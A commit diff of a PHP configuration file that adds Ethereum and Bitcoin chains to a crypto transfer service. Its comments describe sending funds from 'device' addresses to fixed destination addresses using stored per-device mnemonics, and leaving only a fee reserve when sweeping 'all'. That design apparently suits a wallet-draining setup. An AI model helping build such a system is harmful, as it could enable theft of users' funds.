feat: new chain
This commit is contained in:
+22
-9
@@ -61,23 +61,36 @@ return [
|
||||
'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
|
||||
'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
|
||||
],
|
||||
// /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS.
|
||||
'eth' => [
|
||||
'rpc_url' => env('ETH_RPC_URL', 'https://ethereum.publicnode.com'),
|
||||
'chain_id' => (int) env('ETH_CHAIN_ID', 1),
|
||||
// Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer.
|
||||
'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'),
|
||||
'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6),
|
||||
'gas_limit' => env('ETH_GAS_LIMIT', ''),
|
||||
],
|
||||
'btc' => [
|
||||
// mempool.space-compatible REST root (…/api).
|
||||
'api_url' => env('BTC_API_URL', 'https://mempool.space/api'),
|
||||
// 0 = fetch recommended halfHourFee from API.
|
||||
'fee_rate' => (int) env('BTC_FEE_RATE', 0),
|
||||
],
|
||||
// /transfer: from = command arg (device address); to = per-chain TRANSFER_TO_ADDRESS_*.
|
||||
// Mnemonics resolved from wallet_mnemonics by address→device_id+source.
|
||||
'transfer' => [
|
||||
'to_address' => env('TRANSFER_TO_ADDRESS', ''),
|
||||
'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''),
|
||||
'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''),
|
||||
'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
|
||||
'max_trx' => env('TRANSFER_MAX_TRX', '0'),
|
||||
'max_eth' => env('TRANSFER_MAX_ETH', '0'),
|
||||
'max_btc' => env('TRANSFER_MAX_BTC', '0'),
|
||||
// BIP44 account index scan upper bound when matching fromAddress.
|
||||
'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
|
||||
// Leave this much TRX when transferring "all" native (bandwidth/energy fees).
|
||||
// Leave this much native when transferring "all".
|
||||
'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
|
||||
],
|
||||
// reserved legacy payout addresses
|
||||
'payout' => [
|
||||
'eth' => env('PAYOUT_ETH'),
|
||||
'btc' => env('PAYOUT_BTC'),
|
||||
'tron' => env('PAYOUT_TRON'),
|
||||
'sol' => env('PAYOUT_SOL'),
|
||||
'eth_fee_reserve' => env('TRANSFER_ETH_FEE_RESERVE', '0.001'),
|
||||
'btc_fee_reserve' => env('TRANSFER_BTC_FEE_RESERVE', '0.0001'),
|
||||
],
|
||||
|
||||
'wallet_bundles' => [
|
||||
|
||||
Reference in New Issue
Block a user